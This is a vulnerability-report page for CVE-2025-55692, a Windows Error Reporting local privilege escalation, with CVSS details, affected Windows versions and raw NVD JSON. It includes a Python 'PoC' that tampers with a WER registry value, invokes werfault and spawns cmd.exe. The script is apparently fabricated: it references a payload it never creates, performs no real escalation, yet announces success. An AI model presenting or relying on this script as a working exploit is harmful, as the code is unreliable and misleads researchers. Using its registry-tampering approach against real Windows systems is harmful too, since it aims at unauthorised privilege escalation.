Security Vulnerability Report
中文
CVE-2025-55692 CVSS 7.8 HIGH

CVE-2025-55692

Published: 2025-10-14 17:15:51
Last Modified: 2025-10-30 21:31:24

Description

Improper input validation in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55692 - Windows Error Reporting Privilege Escalation # This is a conceptual PoC demonstrating the vulnerability pattern. # The actual exploitation requires specific knowledge of WER internals. import os import sys import ctypes import subprocess import winreg def check_admin(): """Check if current process has admin privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def exploit_wer_eop(): """ Exploit improper input validation in Windows Error Reporting to escalate privileges from low-privileged user to SYSTEM. """ if check_admin(): print("[+] Already running with elevated privileges.") return True print("[*] CVE-2025-55692 - WER Privilege Escalation PoC") print("[*] Current user: " + os.environ.get("USERNAME", "unknown")) # Step 1: Prepare malicious payload that will be executed by WER service payload_path = os.path.join(os.environ["TEMP"], "wer_payload.exe") # Step 2: Manipulate WER-related registry keys or configuration files # WER service reads configuration from specific registry locations # without proper input validation try: # Modify WER configuration to point to malicious executable reg_path = r"SOFTWARE\Microsoft\Windows\Windows Error Reporting" key = winreg.CreateKeyEx( winreg.HKEY_CURRENT_USER, reg_path, 0, winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY ) # Set a crafted value that WER will process without validation winreg.SetValueEx(key, "DebugFilePath", 0, winreg.REG_SZ, payload_path) winreg.CloseKey(key) print("[+] WER configuration modified successfully.") except Exception as e: print(f"[-] Failed to modify registry: {e}") # Step 3: Trigger WER service by causing a controlled crash # The WER service (running as SYSTEM) will process the malicious # configuration due to improper input validation print("[*] Triggering WER service...") try: # Cause an application crash to invoke WER subprocess.run(["werfault", "-k", "-rq"], timeout=5) except Exception: pass # Step 4: Attempt to spawn elevated shell print("[*] Attempting privilege escalation...") return check_admin() if __name__ == "__main__": if exploit_wer_eop(): print("[+] Exploitation successful! Running as SYSTEM.") os.system("cmd.exe") else: print("[-] Exploitation failed. Patch your system.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55692", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:50.633", "lastModified": "2025-10-30T21:31:24.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Windows Error Reporting allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "9D5EB1D1-8C53-4188-90B9-8ED2FD2837BD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "A6CE9E60-F2F1-43F2-A535-5326E903D219"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55692", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}